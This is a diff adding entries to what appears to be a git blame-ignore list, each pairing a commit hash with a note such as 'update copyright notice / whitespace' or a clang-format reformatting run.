+# update copyright notice
+5d722dead43a8c087afde46f958b1d3351a2125b
+# update copyright notice
+5da851d171717413343d0cbaf0bf365e6d386255
+# update copyright notice / whitespace
+5e93bad21b6d68fce862ff8aace3bb29b658f4f6
+# update copyright notice / whitespace
+5e9585c8ad7b9673abcb380ce34e2dcbe1e3453b
+# update copyright notice / whitespace
+5ea0584a943416e5e563aa3e3ca8bfc48a2ae25c
+# whitespace.
+5f1f24822fabe7b78af5f81553bfc11a170326c3
+# update copyright notice / whitespace
+5f4f7c688e0cca18edd67e9760b266ce8f67e29c
+# somehow this got missed with the mega-update_copyrights run
+5f6b0ea19afa15772fe40a7901de3073f37858b9
+# update copyright notice
+5fa46bc91672ef5737aee6f99763161511566c24
+# update copyright notice / whitespace
+5fdca0da2f7fae40b85e0ea8d24a816d96f5e9b6
+# update copyright notice
+600cfd566a5e5db871a8726c8a52a10a38250a63
+# update copyright notice / whitespace
+601645a1e801dc07e7050f0ca9366c5f56271a68
+# update copyright notice
+603a182e43edeaf66445f1591caa3e3a643c5e3f
+# update copyright notice / whitespace
+6084b738bcfaf9fb91fa5916a6e18f1a586e05c1
+# whitespace
+61470ed14b20c55c0730461165faa582a3775eb8
+# [master] copyrights/whitespace
+61c843815e7d23110e089b45ab4be270bc2a415d
+# update copyright notice / whitespace
+61f11922d3f97561af9780652c5b75f75c2d8e97
+# update copyright notice / whitespace
+62735fcde38471e7dd9d1d94b693f8bf1c428d89
+# update copyright notice
+633c5dc507fa3133a6d49a55cfe84bf4fd522c72
+# update copyright notice / whitespace
+63582913c9c5e53d9f16a27b38aa19a92b6849b0
+# update copyright notice
+636aadbfe4f7e73ddf263e03524ab05773dd8695
+# update copyright notice
+63737247d167ffa7151bc3d228ca5c0875751818
+# update copyright notice / whitespace
+6376559cd312de81cb3396d0b1073bee79d59491
+# update copyright notice / whitespace
+63b0524b961b6dce1aa18488d7175ca4ee17778f
+# update copyright notice / whitespace
+6472130d32c5f38a25bf40ebb67909523e84ad4d
+# update copyright notice / whitespace
+651c5a50f4afb2c7dc119f33e3d7567ed1d399d4
+# update copyright notice
+657099c9bc05693eddfe8e2012f14ddde6aa2687
+# update copyright notice / whitespace
+6636beb00b62a8e4a389f7368613f3be5a00001f
+# update copyright notice / whitespace
+6648adb2e1e326e29bb9655ae36a025025ddfdd2
+# update copyright notice / whitespace
+672586440be723316fc03126c56f83e4651d6f2d
+# update copyright notice / whitespace
+67fa096a59417292ff3a1567f244cd5623ab9381
+# update copyright notice
+6874b16e4a0a6f491bce1ea112f92a124ac1c4d1
+# update copyright notice
+6932de75eff5f92475027d294264c80478c3c070
+# update copyright notice / whitespace
+69b10c86b9023330b170af058342c3268c56ac13
+# minor adjustment for compatibility with update_copyrights, which condenses multiple blank lines after the copyright and first paragraph.
+69b641bf31d95fd79a50dcea2cdb0fcb23fe22c6
+# update copyright notice / whitespace
+69f5e5f8154f8d0ace2478145bf6bfe2d282e76b
+# update copyright notice / whitespace
+6a149244545d2a8c11429ca4eac722060251a2f3
+# update copyright notice / whitespace
+6a6ceba6fe09c81558362f238dd727576af7108d
+# update copyright notice / whitespace
+6ad05c5f46fc235191ec458bd545db4eb3cd059a
+# update copyright notice / whitespace
+6c1f9f5c71ff526402f3b3e87749a9ddf102f75e
+# update copyright notice / whitespace
+6c5c87105328967ceee0514a8c0ba708e7a3646e
+# update copyright notice / whitespace
+6cdbcf7155036a1359b07589e26cda8e26ac6f6b
+# update copyright notice
+6cdcc9df5ba18c15e85944fd481b5a8574d2cd88
+# minor formatting issue -- kill trailing whitespace
+6d016e34bf98a543e66710c2bab1b3fbeae3027c
+# update copyright notice
+6d0a639bd0e8f18a9bfef15697564be853944716
+# update copyright notice / whitespace
+6d1f45ed81d02767bb1240755413285c0bd6675b
+# update copyright notice / whitespace
+6d27aeb4e2d12b507abadf83a781484d1f567bdb
+# update copyright notice
+6d4487398e6848e884a3e7bc67adc6c7757627da
+# update copyright notice
+6d5f928b26f51e51817248f7b28472eb6973a710
+# update_copyrights
+6dcde6ca366549264b23e191ff01162f9dd03350
+# update copyright notice / whitespace
+6e61135f10c7061650f7af6c7f6bb261c8049ffc
+# update copyright notice / whitespace
+6e87e723a44ec967821088841beaf0dda17d63df
+# update copyright notice
+6efae581d0c793badfd925a24e4474c52ead20b7
+# update copyright notice
+6fe42ff85ced80bd2ccc49b429d36831b5f2a5b9
+# update copyright notice
+70e5a7403f0e0a3bd292b8287c5fed5772c15270
+# update copyright notice
+7105104b6eaf80d22cf2bb80f4253510da15cd13
+# update copyright notice / whitespace
+7173647ada9f4d2c04b1e97819de482ddc5421f7
+# update copyright notice
+72141595cf9d7faefcf7cf4fbab044c61a902b0f
+# update copyright notice / whitespace
+72326f7701b19fc3057b5f9bdc3b5422c9b0a3f0
+# update copyright notice / whitespace
+724df78acd95dc0f313bc2b80a099f7ecd48b620
+# Apply clang-format to rbt.c
+72b23aafd2ea33a5bd578956d2677f00e5c9da91
+# update copyright notice
+72de8965c84a71c113630255aa3a1c906c7cc141
+# update copyright notice / whitespace
+731ec8ce9bbf015a51faafe392e8de0ff70ef817
+# update copyright notice / whitespace
+7321d8df7b5e3fdd53c1f72fe3e4f759e34334ca
+# update copyright notice / whitespace
+7336a129830944311eb4774c8b4a586e277ec060
+# update copyright notice / whitespace
+735e9fcadb9af6403ba51b33aa38d6e71e9b4029
+# fix whitespace
+73d187eab95980e7af7b31a22e522ed5ea1561d7
+# update copyright notice
+776833c82eb7fe91de8dd4d8f8c4c650c2d06545
+# update copyright notice
+77b1d950a6d949246884fa6738597491f7df2cdb
+# update copyright notice
+780169512e7405bb995230028edf6a9aa716f9db
+# update copyright notice / whitespace
+791aa3e9bee7f1e575f043351a55458c5eec924e
+# update copyright notice
+79812068ffb7723862077a6f9689dbb0c5869e32
+# update copyright notice
+79bb5099368af0e02734e5c59f53286114fe959e
+# cleanup trailing whitespace
+79f0eedd657d75889009226aa7ce23eeac28df5c
+# update copyright notice
+7a3f584cfc1b5699e99fc4bedcac49b3dc4b26bc
+# update copyright notice
+7a440c4300b1a2712e18100772263c97ce1ab9d6
+# update copyright notice / whitespace
+7ac51a8380e3bee2826e82d21817827ca6d9e18b
+# update copyright notice
+7b5130bd12ab4a5538240b6bbed9166dc7a856d6
+# update copyright notice / whitespace
+7b665158e951af8f21bf568b589196e35ac5c76b
+# Reformat sources using clang-format-11
+7ba18870dc535ac2afb61829a7edd9487c519211
+# update copyright notice / whitespace
+7bba3a7c44557bff2096aae98b6fc03566ca4e8b
+# update copyright notice
+7bd455641455950eff7d21be652c8142b134d32f
+# update copyright notice / whitespace
+7bd8900aa8a0a662a1e11e480e82f4fdae44b478
+# update copyright notice
+7c329be7c01260ff246cba7407492e96027e7a1d
+# update copyright notice / whitespace
+7c655c5b24145df40b223130f1fe0f323a789266
+# update_copyrights
+7c74e180c206e6ed99e8beb820da5f399d845c3e
+# update copyright notice
+7ce7ecf6bcf035a0075b7bc15cb29638c6a48ea3
+# update copyright notice / whitespace
+7d4f45f6bd729973f6d24554b3aac9f75a5a22c6
+# update copyright notice / whitespace
+7dbeeeaa1eb8c85dbccd0b745bfae107361301c7
+# update copyright notice
+7e75b6266db5b2711aa9ae18decc8a36c3db854f
+# update copyright notice / whitespace
+7e80eac638f6abcd81d502050f59e968ac259043
+# update copyright notice
+7fa75f8e0e542bd28951839461c80adad05677be
+# update copyright notice
+803d8426030e1f40c45d6861e95587189173f368
+# update copyright notice
+80d13a0d458afeb6bdac7ae97fa4604fa50d4b90
+# update copyright notice / whitespace
+811acf52b825f9fb4889cad7b84b581a2d4776f9
+# update copyright notice
+814fc913e65ecd205e77039412b2f268a24c3e83
+# update copyright notice
+81f58902eb5a1c1ab22742c72bd6cf318acbc06a
+# update copyright notice / whitespace
+8200eb4c60e1a6d08ec009ccf047599a209f6291
+# Update license headers to not include years in copyright in all applicable files
+843d389661c98d4cbf1af51aec5c31feae6da184
+# update copyright notice
+845a4b151d95dc9e2e79d56c1a225d5ddb0d7c41
+# update copyright notice / whitespace
+84d939b211e9d85a048cf5f7223acf0f319be8cc
+# update copyright notice
+85167bb10f76e71c3c8519e2135e31d249f54805
+# update copyright notice / whitespace
+854a865e16602234e71b0d10e19e0d3aea0d1f68
+# update copyright notice / whitespace
+858228febe1b9246f2317ab6977c2330ee8b29b1
+# update copyright notice / whitespace
+85bd975d3dc445d591a33f76922bd5ec84e82cae
+# update copyright notice / whitespace
+85d23eaae85cf7d1ca63889d530e9b2cc8f42f11
+# update copyright notice / whitespace
+8657223ebcfa4d33a76eed3119701defce23b3c4
+# update copyright notice
+869a7fe8e0eb29a55f5e73dc8ba73a668df412eb
+# update copyrights / whitespace
+888dc0fb4ff1f40d35fe01237ce904fe1449cecd
+# update copyright notice
+889eb2e055719146a46da14d323a5015e39b7884
+# update copyright notice / whitespace
+88ee987de69130fffcc9d7a2bc9c7fa965584b74
+# update copyright notice
+892506b68131e285ceeb714e8d9d33d5f945cefa
+# update copyrights / whitespace
+8927a982bde7e4b665966b55f0fa57c5cf21b9d8
+# update copyright notice / whitespace
+89c5c74c96c8376e6cb999aa1a52d9324c031ae6
+# update copyright notice / whitespace
+8a1d7e8e8fc1fe9fb660b7660279667ca8096b35
+# update copyright notice
+8a9485517e22f586602c9742c318825c04985c6b
+# update copyright notice
+8ab8cd1fa696b188e7c4849e44cb0117b52c04ca
+# update copyright notice / whitespace
+8b074bef0ccb6ea12df214a81ff73d2a581280e1
+# update copyright notice / whitespace
+8b22817d17cbf158b4e6c602366bacbab8d8f8d0
+# update copyright notice / whitespace
+8b8c2990d60ba7afcd9608743cf8c406ad87a2fa
+# update copyright notice / whitespace
+8bd6a7a1a32f5d313a5fbdca1281316053597a60
+# update copyright notice / whitespace
+8c20f8635ae2f236a7ecbb74aad4e0a39fa44802
+# update copyright notice
+8ce19234299104c9e55ceca9423bacb594bc9c64
+# reformat a long line
+8cf8a04209c3b6c8d4f0936f1dce06b629605c81
+# removed CVS Id from machine-generated man page files -- it is no longer needed now that they are ignored by update_copyrights
+8de7014e56565605a51898a2a33a8b08fd3f1e57
+# update copyright notice / whitespace
+8e2a8a3855233058140d8ff726df693215a60b7d
+# update copyright notice
+8e3eb3600a9fdade5807a928d0f200bf5a604330
+# update copyright notice / whitespace
+8e4d56d45dc6daa9dfc5c33b67138ecb9d5bf004
+# update copyright notice / whitespace
+8e50c697839c12d55bca0202ce09bd81f069f909
+# update copyright notice
+8e6b386ab7e2d1bd8efedecbb8f4efb6b572a866
+# update copyright notice
+8e9b13f5106abb50f0c9ac74f38a2572cc240f1f
+# update copyright notice / whitespace
+8f0427f11b9feedf9c95f2cadae0d605dbaf767b
+# update copyright notice / whitespace
+8f0b326d9a895faa71b55cb3994b54ff4666faa9
+# update_copyrights
+8f4e6ea383aa9a953c0adb5be6c4d8dc8dbd5c4a
+# update copyright notice / whitespace
+90a6f5a701218c098d68d47a6dad8dd054a7cdb3
+# update copyright notice / whitespace
+915994daa9b2b0a5ecab9c01a203a26265e60303
+# update copyright notice
+9191b6c9e89ac14c922bbedfcc6c703c0f47e694
+# update copyright notice / whitespace
+92059a966a6191138a9bf5fa397587ae686fdc8b
+# update copyright notice / whitespace
+9268c62bd0d85badde488143796be44bd75ca46a
+# whitespace
+92ff69c60001ed270248a6f38bafd2ae12d029be
+# update copyright notice
+934b17be8da521ed8289125466b35908b0f601c5
+# update copyright notice
+938440694b33cd752e9e4b71a526368b4811c177
+# whitespace
+9429595b674a1edc5651a13540060d95b56dfb29
+# update copyright notice
+948c80ffa8f4efbade049f49d9751675f6937cf4
+# whitespace fixes
+94ec6e9a1a335c419b640bf875a6a052c3c5cbc2
+# update copyright notice
+94f86d37b2e798b02383f4abc112e57b4c1aedb7
+# update copyright notice
+953189d30eb801f6f040ab6e3d3c6a6c30add952
+# update copyright notice
+953692fa1e307b7325e383302d82b711d164a9d5
+# update copyright notice
+954e43e60522932e71ac491778b3de3b5ec051a6
+# update copyright notice / whitespace
+96f5064e3cc8e656955c6d0d298cdaefb2db684c
+# update copyright notice / whitespace
+96f6f5dfc2aafa65d51b0734deedf9eaba95f263
+# update copyright notice / whitespace
+96fd32b7ef0c0503bf9e947a9887139c64d93c2e
+# update copyright notice / whitespace
+9748633ce6b12ea179c052c10ed50a1cd1dafc62
+# removed CVS ID line inadvertantly added by update_copyrights
+976e43c3ef45f06f32d846e8eff8664265abc0b6
+# update copyright notice
+97c299486a7011320b2f977f59cb6ab276e99338
+# whitespace
+98869e60fafc73aace8f54a36b881adfeb3baa4f
+# update copyright notice / whitespace
+98e1584b29f1a2323dfa98b88270c57354cd13db
+# [master] whitespace
+997f513065abf694ebcaa662aa7f369b79528350
+# update copyright notice / whitespace
+99bbb58ce7c172798fecb21d2d12756c159cff14
+# update copyright notice
+99d8f5a70440ee8b63ab1745d713b96dde890546
+# update_copyrights
+9a3d43d3b4f1b3f90edfd306222b219a6690bc68
+# update copyright notice / whitespace
+9ab5a7d83c3018863b018be890d50ef1e22790e4
+# update copyright notice / whitespace
+9ab5ec1d7221ac6c175e6df9f8a69d195eed0899
+# update copyright notice / whitespace
+9ae15880201d512667795095880032e043c7b3c3
+# whitespace style
+9af8851b85926cbfb1171430bff0a9ce381a4b3f
+# update_copyrights
+9bff67898d55cddfcec9ce30cc2b1bb6211ec691
+# add RCS id string
+9c3531d72aeaad6c5f01efe6a1c82023e1379e4d
+# update copyright notice
+9c5faa2ba809b881ee74b03a1a5ac0d9d6586dbb
+# update copyright notice
+9c61ab2c991c4d8eaee726729682e6efd5b37181
+# remove trailing whitespace
+9d5e42bb875bc287387241dd7563f5698afd31f6
+# update copyright notice
+9d7e943c3d49cc2286be921c9deb5eb3d2895ed8
+# update copyright notice
+9d8985bea97c11ae4a0e703e52879028559c829d
+# update copyright notice
+9d9626fb776663b1e5c62263f9a12b1b4e52106a
+# update copyright notice / whitespace
+9e6e0881fae829b35647e30998ff3e33a7b648ee
+# update copyright notice / whitespace
+9edeb0f922d192239fbe017a9c123093989780e4
+# update copyright notice
+9f40a783228eed48531756a6ab510d1e9c51648c
+# update copyright notice / whitespace
+9f76893bbc75c118a265e1039864ab2f593b00d1
+# update copyright notice
+9f8df2d75caac79f39367f0477c944bc097a0fc8
+# update copyright notice / whitespace
+a00838da9681b268a38ca42b901b2a2200e868cc
+# update copyright notice / whitespace
+a0132868d11fd0bcfec87fe8ff40fa8ddf48da72
+# update copyright notice / whitespace
+a03c39ef51faa73fd22a2d864befe8e7c6028f96
+# update copyright notice / whitespace
+a08f49ae177db25609e1592b943cdcb25b79402b
+# update copyright notice / whitespace
+a1d1a967dabc1b80b6ca13fd4e7e4e179990c4d1
+# update copyright notice / whitespace
+a269ca51cc3c4abcf39eb01c357ba3dc8dfd80d0
+# update copyright notice / whitespace
+a280a7871daeb95297d4653d6351e00e03ba5c2e
+# update copyright notice
+a3128c1995310262648e575a9ff148d5741fd167
+# update copyright notice / whitespace
+a3d2295829888700df137d08e79749e1d0011f44
+# update copyright notice
+a3fb84bd1b6a56585c0d8181f2ab0338b0cf852f
+# update copyright notice
+a4fa22bf149e1e3779543527659e03b0c77600aa
+# [master] whitespace
+a507cc4892ab6f3b0b9ef6b489eb72eb2f99194a
+# update copyright notice / whitespace
+a57a6dbe62fd4f48e84483ddb96898c9a8121b18
+# update copyright notice / whitespace
+a625502bdd149be06bd0cc06000c3dc9e4a813b9
+# update copyright notice / whitespace
+a63461cc4bb7d1d5fc39bb506e24f5a69a6fcfb5
+# update copyright notice / whitespace
+a6ca100924894cdd8e2b791d75a8cef32b1fba1f
+# update copyright notice / whitespace
+a6e307c5f1b3aeeb6b9702f5ca1e4655e4ba4691
+# update copyright notice
+a7051299c60cbaac13d62d35038460507459e140
+# update copyright notice / whitespace
+a70b865da3f594bde688021fea0844a99a9631c1
+# update copyright notice / whitespace
+a727cdff50383b98a150922e16a470cc63225309
+# update copyright notice
+a847a4bcd665fb1cafc1b2a0a42be7a1ede82a89
+# update copyright notice / whitespace
+a855b8d2312543b5f804cc21883c0b35a531256d
+# update copyright notice / whitespace
+a91ea57cb3f844bf3dd8f64b0993c1328079c0c3
+# update copyright notice / whitespace
+a9404a04a52e7481a2c50af322013c556a75b95d
+# update copyright notice / whitespace
+a96d7083bc80717f0175ecbbd1cdd77843f8a5b6
+# update copyright notice
+a989ffdbb3dd152cd79a66a59880140b661db999
+# update copyright notice / whitespace
+a9e8198788a4055e5ecfeedbc1aec26274ad33d6
+# whitespace
+aa3bffca69b487f5af9f72638412e461c897b894
+# copyrights/whitespace
+aa44b4682ae2d4466533d8a905b1541a67b02be4
+# update copyright notice
+aa64e902a0537ab6e3e41da4b96f4bc39be8c6e0
+# update copyright notice / whitespace
+aa70afe5c10ff9f742e71d4d86beddca2a246229
+# update copyright notice
+aa7b16ec2a5dacda1d65b64e0f7af434d02cbba4
+# update copyright notice
+aae306e914255e5fb477295f67e5e13201ded6d1
+# fix whitespace
+ab6c20f9782b546c4626c6520fa99b0c019d6728
+# update copyright notice
+abc71f216a61beebbe806ab29110818680064888
+# update copyright notice / whitespace
+abf9790162ae88bf74d3959f5ac0dd2090a9a9fc
+# update copyright notice / whitespace
+ace0b8d470fdbec5b0a9eed2a1fe3b741b11e0cf
+# update copyright notice
+ad673634303305de6985920d9115cca55abf7ba2
+# update copyright notice
+adb113e2354eff72a527ef5b6201f13c56022e84
+# update copyright notice / whitespace
+adb31d0b10883da08e1078db53a066710ab8eb7f
+# update copyright notice
+aebd0e85bfd8c7b4108efcbf0adc503ee6c64f52
+# update copyright notice
+aee6c351d3b517f3e6a4ddf770606617fd42015b
+# update copyright notice / whitespace
+af0bea7aa7b300d028c12ad296453ebf75242861
+# update copyright notice
+afe7d4b934e5e2d2e0cde135aba948704d4c2520
+# update copyright notice / whitespace
+b129f72d951663755496670606e5f7303e8f2dc2
+# update copyright notice / whitespace
+b140aa009b3b0e5acc6144b96676530b7233ac5a
+# update copyright notice
+b16174507d1429ae4dbf7b4939f9e45ca7b76d74
+# update copyright notice / whitespace
+b168f3f805fb396518d49f2081da8602c3dda261
+# update copyright notice / whitespace
+b1aac28027f3482d7b67fd7067cb3063fe265808
+# update copyright notice
+b269de36bebe9de7c127d0fa8575a430c594a903
+# update copyright notice / whitespace
+b299727c2ee225eb40b65e87407ef24b05114883
+# update copyright notice / whitespace
+b3378292d038ff9297a74543fb24d15e37930d38
+# Update the source code formatting using clang-format-12
+b3de93e54c65061bc27559d6de770d7cd3ec7c08
+# spelling, whitespace
+b3f23e7a7d5aeddf1fc2d3b658b2a72c5710327f
+# update copyright notice / whitespace
+b3fb6947aae4f4294816399f1ca1e78e7a3227bf
+# update copyright notice / whitespace
+b3fc795f4df74fa74ce8211925bf8ee534c9efba
+# update copyright notice / whitespace
+b4099ed035c395493d2dae38f8cd9c2c512d3396
+# update copyright notice / whitespace
+b439455672e2d86cf0192d42e563006ae069cce5
+# update_copyrights
+b4636f4587118f55ace3ccde473fff5f6b1418f4
+# whitespace police
+b4dfb4747498ab22831a30c44607e81082fef962
+# update copyright notice / whitespace
+b54c2849fbb215cecb3aa962d014a88d0a257e41
+# update copyright notice / whitespace
+b55ae9abd294435405d53b3e557592a475dd0670
+# update copyright notice / whitespace
+b5808abc69d3c6d6367e0cb0cd7e06b463a02126
+# update_copyrights
+b60271016957475ef5d675f8a5a116a661b46b82
+# update copyright notice / whitespace
+b624001e36cf750d88a13d300915b0a8ea936d3a
+# update copyright notice / whitespace
+b6a4f7937ed7c5eea43489301a87895bead9addd
+# update copyright notice
+b6f7267093b3ad0587fa1715600a279431bbec6c
+# update copyright notice / whitespace
+b74e1c3b50c9c5258c8a23a3ac8bf2dea54b1cc8
+# update copyright notice / whitespace
+b7b835bfb08e66e192f62149dbb61f0fb32ac3d8
+# whitespace
+b7e6fb4e8464ceb4a62a8c00e3127da3c2839329
+# update copyright notice
+b7e6fc2a4cca2c07bca1aa122a9105786b282743
+# update copyright notice / whitespace
+b7f3400f3b34fee8e29ac4a43f62c153b42b3200
+# whitespace
+b8493d3292459454aeaf4d1ef10750f2e4e52d8e
+# update copyright notice
+b8e2e5dd861bdc72a5496a745a85f8761bef7dc4
+# update copyright notice / whitespace
+b9097be03b7b8fe7801abef97cf573a39399d995
+# copyrights / whitespace
+b91d11bfcc30b96f2c80f3a76d12e3dcc8597a68
+# update copyright notice
+b941edbeb52407b7402126ed49efdce6c4d5ea3c
+# update copyright notice
+b95504f9a74fb6571124262d1eafd262bd06f7c8
+# update copyright notice
+b9a067ba403c95e681c8176259d113804785d254
+# fix spelling errors reported by Fossies.
+ba0313e649b9de3d746cc8a748cd02da75f258bd
+# whitespace
+ba85bb1a85ca30a8499eaf8f1ea148c56d442af6
+# update copyright notice / whitespace
+baa0e0467572e2bff0b2a423c7fa9fb59ad9cfa4
+# update copyright notice / whitespace
+bb01fced12fe728b1b0b1001fe9b149996fa172e
+# update copyright notice
+bb6f850a5d6f88c0f1cbae83e5c5cd5eed6beb71
+# update copyright notice
+bcbb556868b881de9540f5a791e92bd827be51eb
+# whitespace
+bcce55197a28670e7e46ce42980970ecba31a990
+# update copyright notice / whitespace
+be33f4ead17cb2e0755094ee3da17df368762ba9
+# update copyright notice
+be484acb22e4d903764ccb5ebe51be3a9d4ca29f
+# update copyright notice / whitespace
+be755f4725e6579ffe725b3ead9ccfbd108f55dd
+# update copyright notice
+be899a549d6d55a5d99a0e4b73c670859e9d959c
+# update copyright notice / whitespace
+be8f1da296d80181c40c6a5fdf61c13632cea002
+# update copyright notice
+be8fedce2aac86b27ed4d0aa2ca41febdd42fc3e
+# update copyright notice
+bea3baa50cc275ede316c34db9da3292c7ca6f9b
+# Update copyrights to 2022
+befd654e00e38ec8f3deb39c5f6253c94085d3e3
+# update copyright notice
+bf0266f286c9350f6579d03cc74429433d8e6381
+# whitespace
+bf0b64999352b8bf72b200ece4f9d6997e94e7ab
+# reverse bad copyright update
+bf8267aa453e5d2a735ed732a043b77a0b355b20
+# update copyright notice
+bfc4a951c5007479e2aea2208596c5b7a2cb4248
+# update copyright notice
+bfceb3a1ed70c9e1d1afd88753d19e1bb95a4728
+# update copyright notice / whitespace
+c03e9eb43d85c1a68fe24a42f3ded1ed28a4e6fe
+# update copyright notice
+c0682c23675731274a86416914fb7e3c5861606a
+# update copyright notice / whitespace
+c0cc899496cccf8ea3bec24a94ed384287ec3e1a
+# update copyright notice
+c0de084bbd67ee6c40525314ce8141455be1d410
+# update copyright notice
+c0de0cd8d88485aba260a08dccca76f83bdf9538
+# update copyright notice / whitespace
+c10fda07d68c04221c2d552dc71a2de1352074cb
+# update copyright notice / whitespace
+c110d61b173a68420d19858abb80285be0dc1120
+# update copyright notice / whitespace
+c13b582b162f6428a469cf43b51c2d51c281c36b
+# update copyright notice / whitespace
+c19f42a378f76af272166f9cababe7bfbc1cf6ab
+# update copyright notice / whitespace
+c203aa153c89a2b9181db34cfba7e8762499b27f
+# update copyright notice
+c207dd839459abf61cde94e2dbc477a2c5790677
+# update copyright notice
+c37fbb91e37b771bb0fad908ad78ddd12ac07538
+# update copyright notice
+c381ccf7947fed7d5ced30bd2b7e611dee6bee39
+# update copyright notice / whitespace
+c3854e9cd3d7c8f7cbe6d6bb8153f1e81c8af587
+# update copyright notice / whitespace
+c43f150d0a3dc71653dfe280f8e2a4af5b9259ad
+# update copyright notice / whitespace
+c4567d06753c4420af492d07b720125a918fcf23
+# update copyright notice / whitespace
+c46ac73c8f1d0133903c00332ab4fa4e2550ecc4
+# whitespace
+c656722ea789f512132d5df9a613bea5717dbe3a
+# update copyright notice / whitespace
+c7940abbd32f1d070c708c5d2371beb9a8cf6c35
+# whitespace
+c810393bd89ee3e4be7a6e1eea097a0705b5979a
+# update copyright notice / whitespace
+c8a55dfd0acfad1c31a759e79e506fe6f2636e15
+# update copyright notice
+c922066e771c136351dddedf21c546827e6fd832
+# minor reformatting
+c9cc73cbc8100d9f4afda3d145407991beb06a57
+# update copyright notice / whitespace
+ca0ae70046d90a549368d8cc964936d17e5162c9
+# update copyright notice
+ca283f2ecb9fe01b9808268d1885828fd0ee3add
+# update copyright notice
+ca48f47d881bc25cc78c1bb0f3c08669246c0cfe
+# update copyright notice / whitespace
+ca5b644b9e87127a60cc7f825cc0a74cf4fe9e90
+# update copyright notice
+ca8ad4871ead659a0a7107ad1cef7fc04782f394
+# whitespace
+caa0a135d49dfbe3de9711eacf94d6e112a77688
+# oops, use the nominum copyright for lib/isccc.  Also fix the update_copyrights script to do @YEARS@ expansion on 2 lines.
+cb3e854e181373807f7f011e5050c1a8013b4841
+# update copyright notice / whitespace
+cb5bc50c9140ba705f0fad8b5a0396b1f79ef8f0
+# update_copyrights
+cbce6b0c9a9fbe09ceb6c9b28b4a17777950cb7e
+# update copyright notice
+cc2a5156841ec6dfe1e90eed40c65fa8cdec246d
+# typo and whitespace fixes
+cc48bb397fa6ba889f25157840492e68114dec8f
+# Fix whitespace so that the names align
+cc5e16e4d3fcbde42d35ed6d6eec8dcab1482d71
+# update copyright notice
+cd14665cdf406ee9976ab59c4ec390a0e8de8b19
+# [master] whitespace
+cdd99263f24a64a14f0e26742b33fcb08e2db115
+# update copyright notice
+cfa2326b5c96a3a4c720262e077b2baf9fc27970
+# update copyright notice / whitespace
+d029dfe95cae7c360c68c402ebd910e03226c79b
+# update_copyrights
+d0be1e954bd4674fc27f2616c72adb37cf3525a2
+# update copyright notice
+d1573beb053485ca7683a1fcf530bbab4aef7a35
+# update copyright notice
+d1b499c8271594a904387afbebf4135fd1ab81bb
+# update copyright notice
+d1fd0990fc89c00b7788e2e2cf8c4b9c85d43858
+# update copyright notice / whitespace
+d28022225df341daa982bd41b832397cdd0c8a5d
+# update copyright notice / whitespace
+d2f2db283b2541fa0beadd11eaa2a216077ad66d
+# update copyright notice / whitespace
+d2ff6f0f07fd4d13ff29dc718706ae8e35dbea15
+# update copyright notice
+d319beb9d0b08db8b7f9789d916a02a56976b9b9
+# Merge branch 'each-style-tweak' into 'master'
+d3b49b6675a2fdb07e98639abc6a889365bc7ccb
+# update copyright notice
+d458ef4acb25b66d39525cca3ab5a64c4f210a0b
+# update copyright notice
+d478dbae80bd215df3fef6cfc207b078ea285b8d
+# update copyright notice / whitespace
+d481ce8bba34ce6414865ef53aeaee122bb2f39c
+# update copyright notice / whitespace
+d4a69308f5322314d067bebf4592257f536542ec
+# update copyright notice / whitespace
+d4f90b4519ce2f39a0e53de52ca51de8b9f7b85a
+# update copyright notice / whitespace
+d68d29f96795b7a1d47109705a4c9891b07e99bf
+# update copyright notice / whitespace
+d6b82bc2ae12cedd220f82d1c9ddbb21885939b8
+# update copyright notice / whitespace
+d70dac20d2b88e48fbf2606180d0ba6dcc4bc44f
+# update copyright notice / whitespace
+d83a9a980a24201bf207684a54b4e6c4f69157d6
+# update copyright notice
+d91e5a75df148ed3c5689d84cddea977c6a4d928
+# update copyright notice
+d9eb3dcfa1b45100fa4e29d115314ccd13b0250a
+# whitespace
+da49a52345d44caebc63c8ef0192daa68c068d1d
+# update copyright notice
+da5d53fb1401f5e17a77373af32d865489aa04a8
+# update copyright notice / whitespace
+dae43e88b785d15f4b8048c793f5e62904c66cdc
+# update copyright notice
+dafcb997e390efa4423883dafd100c975c4095d6
+# update copyright notice / whitespace
+db1010fe82c01e5bb125c34aa8a6b73510b34d21
+# update copyright notice / whitespace
+db15f78ad74d0701b36f1d6b249f498294408c64
+# Make update_copyrights return error code when error is encountered during processing the files
+db3d69263d0476c71a8594a264a78b77430e2dc5
+# remove trailing whitespace
+db8369d873196b3771ecc13debf904a732a700fe
+# update copyright notice
+dbd8673fa060c8132a0195f69103cca615b55ad4
+# update copyright notice
+dc3d68d6fe0c0dc0d43015ed6b651f407b38ee25
+# update copyright notice / whitespace
+dc5e29a7d216b4233c80bec8967015aa9c05962e
+# update copyrights
+dc64b706162cf13c298978f7ae0f80e4c1f62d5b
+# update copyright notice / whitespace
+dc66c4a49cdbb20248a655a1afa1119eefe7be14
+# update copyright notice / whitespace
+dcc059e2c94438e58c225145494e6e27f8321e88
+# update copyright notice / whitespace
+dce54b9b5cfa450570fe9c11644450aeb3ee89f3
+# update all copyright headers to eliminate the typo
+dcee985b7f693a89b4a8585ae94f98ad36c034af
+# Reran update_copyrights, which slightly reformatted the copyrights.
+dd750c560ae48cf6caeb9a9fe81d33fc4746106d
+# update copyright notice / whitespace
+ddcf6c7d2bdd40e0024c8a5088b5c0210a426b7a
+# update copyright notice / whitespace
+dddceb77323878e871a18b58e245c3d7449b3971
+# update copyright notice / whitespace
+dde6dc06b06d1c2edcb14defa9fe02fad84784c6
+# Update copyrights and whitespace
+de23b20ccfee6b7ae8bb466b65317845961740ad
+# update copyright notice
+de77dcc2c1a578ba43072608763bbab38e9cf15e
+# update copyright notice
+dfd5f3b388d5720ec29aba87d8af334f59ed6840
+# whitespace
+e03e455cd5013ea9e419d7b14ae6bfc6814b7546
+# update copyright notice / whitespace
+e04dff4bfdd3b11974e8005f3c11df7abab94274
+# update copyright notice / whitespace
+e085a5fc5ec78763c3532bea1085b1535ec53655
+# update copyright notice / whitespace
+e0ba64bdd2088b0af0081cebaf2c1d965692db07
+# copyrights/whitespace
+e0c102d9ee8c74d1a31fc7e4506a368012e4b709
+# update copyright notice / whitespace
+e13c3286a53d3ac3ca7693a7ffd7dc45be477a16
+# update copyright notice / whitespace
+e1836d1fe413cc14430ce89508e79c4c01df830b
+# update copyright notice / whitespace
+e208712faa6d6053313b5e0320c892ebea9bb900
+# update copyright notice
+e23798e2ab09d2714c6fb18aec3431826154e58a
+# update copyright notice / whitespace
+e24f9b0a332f99be7d317c190a02f41419b14f21
+# update copyright notice / whitespace
+e29263c656d9db58b9337fabf3bde32c05c4522b
+# update copyright notice
